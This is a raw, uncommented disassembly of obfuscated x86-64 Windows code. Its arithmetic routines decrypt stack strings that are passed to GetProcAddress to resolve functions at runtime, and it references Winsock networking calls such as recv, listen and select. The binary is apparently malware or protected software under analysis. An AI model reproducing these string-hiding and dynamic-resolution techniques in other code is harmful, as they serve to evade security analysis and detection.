cmp r8, r10
ja 0x1400722ba
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140071aea
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x47
jmp 0x140071b16
cmp rbx, rdx
je 0x14007217b
cmp rbx, rcx
je 0x140072157
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072136
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140072109
movzx r9d, r10b
nop word [rax + rax]
lea rdx, [r8 + rbx]
cmp rdx, r10
jbe 0x140071e36
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140071e1b
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140071df8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140071dd8
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140071dbd
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140071d90
lea rbx, [r8 + 5]
lea r8, [rbx + 5]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007229d
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140071c36
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140071c17
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140071d1c
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140071cf6
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140071cc9
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140071caa
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140071c8b
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140071c70
lea rax, [r8 + 0x20]
movzx r9d, r10b
cmp rbx, rax
ja 0x140071c51
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x1000]
jmp 0x140071b30
movzx r9d, r10b
lea ecx, [r9 - 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x67
jmp 0x140071b20
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x13
jmp 0x140071a60
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140072195
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4a
jmp 0x1400720a1
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400721fc
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14007222a
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140071a46
lea ecx, [r10 - 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xf
mov byte [rbp + r10 + 0x380], dil
inc r10
jmp 0x140071a46
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x45
cmp rbx, 0x7a
jae 0x140072088
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140071ff8
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r11b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x200
jb 0x140071d0c
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
movzx r9d, r10b
jmp 0x140072195
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x56
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140071a46
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 2
jmp 0x1400720dc
add r9b, 0x62
movzx eax, r9b
and al, r11b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x1400721f9
add r9b, 0x56
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x5a
dec r10
inc r10
jmp 0x140071a46
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 6
jmp 0x140072195
lea r9, [r8 + 1]
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140071e8e
lea ecx, [r10 + 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x15
lea rax, [r8 + 2]
lea rcx, [r8 + 3]
cmp rdx, 2
je 0x1400720c5
cmp rbx, rax
jbe 0x140071f66
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
dec dil
jmp 0x140071d32
cmp rbx, r9
jne 0x140071ec0
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x72
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140071a46
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x140071ee8
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r11b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400720dc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140071f0c
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x44
jmp 0x1400720a1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140071f36
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6e
dec r10
inc r10
jmp 0x140071a46
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071e61
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x140072195
cmp rbx, r9
jne 0x140071f8a
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2b
movzx r9d, r10b
jmp 0x140072195
cmp rbx, rcx
jne 0x140071fb0
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7f
dec r10
inc r10
jmp 0x140071a46
cmp rbx, rax
jne 0x140071fd0
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x2d
jmp 0x1400721f9
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140071d32
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 3
jmp 0x1400721fc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072032
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140071a46
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140072056
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
jmp 0x1400720dc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071d63
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140071a46
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x63
add cl, dil
add cl, r11b
mov byte [rbp + r10 + 0x380], cl
jmp 0x1400721f9
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r11b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x39
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x380], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14007222a
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x33
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140071a46
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x37
dec r10
inc r10
jmp 0x140071a46
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xd
inc r8
dec r10
inc r10
jmp 0x140071a46
movzx r9d, r10b
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x1d
add r9b, 0x35
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x73
add r9b, r11b
mov byte [rbp + r10 + 0x380], r9b
inc r8
dec r10
inc r10
jmp 0x140071a46
lea ecx, [r10 + 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3b
dec r10
inc r10
jmp 0x140071a46
lea ecx, [r10 + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x19
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140071a46
lea rax, [r10 + r13]
and sil, al
add sil, sil
sub al, sil
lea edi, [r11 + rax]
sub dil, 0x69
lea edx, [r10 + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + r10 + 0x380], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140071a46
lea rax, [r10 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r11 + rax]
sub dil, 0x3f
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x140071a46
sub r9b, 0x77
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x41
jmp 0x140071a33
lea rdx, [rbp + 0x1512d84]
jmp 0x1400722d6
lea rdx, [rbp + 0x8f0b87]
jmp 0x1400722d6
lea rdx, [rbp + 0x380]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp + 0x180], 0xb1
mov byte [rbp + 0x181], 0xb0
mov byte [rbp + 0x182], 0xcf
mov byte [rbp + 0x183], 0xce
mov byte [rbp + 0x184], 0xbd
mov byte [rbp + 0x185], 0xbc
mov byte [rbp + 0x186], 0xa3
mov byte [rbp + 0x187], 0xd1
mov byte [rbp + 0x188], 0xa1
mov byte [rbp + 0x189], 0xaf
mov byte [rbp + 0x18a], 0xd4
mov byte [rbp + 0x18b], 0x5b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x18c], xmm0
mov word [rbp + 0x19c], ax
mov byte [rbp + 0x19e], al
movabs rsi, 0xd100949b963dad8b
movabs r15, 0x1502e709ef3463b7
movabs r14, 0x7301bdd2c2b908a1
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x140072e69
movzx r10d, byte [rbp + r11 + 0x180]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140072e60
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400723dc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x33
jmp 0x1400723fc
je 0x140072df4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140072d9b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072d3d
movzx r9d, r11b
cmp r8, r11
ja 0x140072e57
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14007242d
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
jmp 0x140072470
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140072cf6
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140072cd3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072cb7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140072c9a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140072c6b
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400729e2
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400729c7
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007299e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007297b
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007295c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007293f
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140072922
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140072903
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400728e6
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400728b4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072480
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x61]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140072e3a
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140072e1d
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140072661
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140072646
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007262b
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140072864
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140072818
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400727db
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400727b3
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140072480
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140072781
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140072764
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140072745
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140072725
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140072708
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400726e9
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400726c6
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007269d
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007267e
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140072480
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 2]
jmp 0x140072480
lea ecx, [r9 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4f
jmp 0x140072470
lea ecx, [r9 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
jmp 0x140072400
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1b
jmp 0x1400723b0
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072d10
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140072393
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
dec r11
inc r11
jmp 0x140072393
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072d5b
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140072d7f
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140072d82
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072c3a
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
jmp 0x140072daf
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x140072393
sub r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x49
mov byte [rbp + r11 + 0x180], dil
inc r11
jmp 0x140072393
lea ecx, [r9 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
cmp r8, 0x42
jb 0x1400727cb
lea edx, [r9 + 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x5c]
jmp 0x140072d10
lea ecx, [r9 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
cmp rbx, 0x20
jae 0x140072c01
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140072b55
lea edx, [r9 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400727f1
lea ecx, [r9 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
lea rax, [r8 + rbx]
cmp rax, 9
je 0x140072c23
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140072abc
lea edx, [r9 + 0x1f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x27
add dil, dl
jmp 0x14007282e
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x140072393
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
jmp 0x140072daf
lea edx, [r9 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072c3a
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x140072d82
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
jmp 0x140072d7f
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072d5b
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
dec r11
inc r11
jmp 0x140072393
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140072393
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x140072d10
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140072a06
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x14007287a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072a41
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x140072393
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140072a67
add r9b, 0x26
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xa
jmp 0x140072d7f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140072a8c
lea edx, [r9 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140072d58
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007287a
add r9b, 0x52
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3e
dec r11
inc r11
jmp 0x140072393
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072ae1
lea edx, [r9 + 0x35]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x73
jmp 0x140072d0d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140072b06
lea edx, [r9 + 0x77]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x41
jmp 0x140072d58
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140072b2c
sub r9b, 0x5d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x75
jmp 0x140072d82
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007282e
lea edx, [r9 - 0x47]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xf
jmp 0x140072c37
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072b8d
sub r9b, 0x64
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x44
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x140072393
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140072bb2
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
jmp 0x140072c37
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140072bd8
sub r9b, 0x22
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x12
jmp 0x140072d82
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400727f1
lea edx, [r9 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
jmp 0x140072d0d
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r10b
jmp 0x140072d5b
lea edx, [r9 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x51
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x180], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140072daf
add r9b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3b
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x140072393
sub r9b, 0x15
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6d
jmp 0x140072d82
lea edx, [r9 - 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x39
jmp 0x140072d58
sub r9b, 0x57
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x61
dec r11
inc r11
jmp 0x140072393
lea edx, [r9 + 0x7d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6b
add dil, dl
sub r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x7b
add r9b, r10b
mov byte [rbp + r11 + 0x180], r9b
inc r8
dec r11
inc r11
jmp 0x140072393
movzx r9d, r11b
lea edx, [r9 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x69
add dil, dl
add r9b, 3
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x15
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x180], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072393
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
dec dil
lea ecx, [r11 - 0x5c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x7c
add r10b, cl
mov byte [rbp + r11 + 0x180], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x140072393
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x67
movzx eax, byte [rbp + r11 + 0x180]
add rax, r8
add r11, rax
inc r11
jmp 0x140072393
add r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x7f
jmp 0x140072390
add r9b, 0x21
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x19
jmp 0x140072374
lea rdx, [rbp + 0x1709ae4]
jmp 0x140072e70
lea rdx, [rbp + 0xae486f]
jmp 0x140072e70
lea rdx, [rbp + 0x180]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov byte [rbp + 0x1a0], 0x7d
mov byte [rbp + 0x1a1], __WSAFDIsSet
mov byte [rbp + 0x1a2], 0x80
mov byte [rbp + 0x1a3], 0x8c
mov byte [rbp + 0x1a4], 0x9e
mov byte [rbp + 0x1a5], 0x82
mov byte [rbp + 0x1a6], WSAStartup
mov byte [rbp + 0x1a7], 0x80
mov byte [rbp + 0x1a8], 0x9c
mov byte [rbp + 0x1a9], 0x89
mov byte [rbp + 0x1aa], 0x9d
mov byte [rbp + 0x1ab], 0x8a
mov byte [rbp + 0x1ac], 0x32
xor eax, eax
mov qword [rbp + 0x1ad], rax
mov word [rbp + 0x1b5], ax
mov byte [rbp + 0x1b7], al
movabs rsi, 0xb7904480bd778585
movabs r14, 0x74126886a933b1ad
movabs r15, 0x26b0cd823866908f
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x140073b50
movzx r10d, byte [rbp + r11 + 0x1a0]
mov edx, r10d
nop dword [rax + rax]
cmp rbx, r11
ja 0x140073b44
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140072f6c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x5d
jmp 0x140072fb3
je 0x140073ad5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140073a42
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140073a14
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400739d3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400739b2
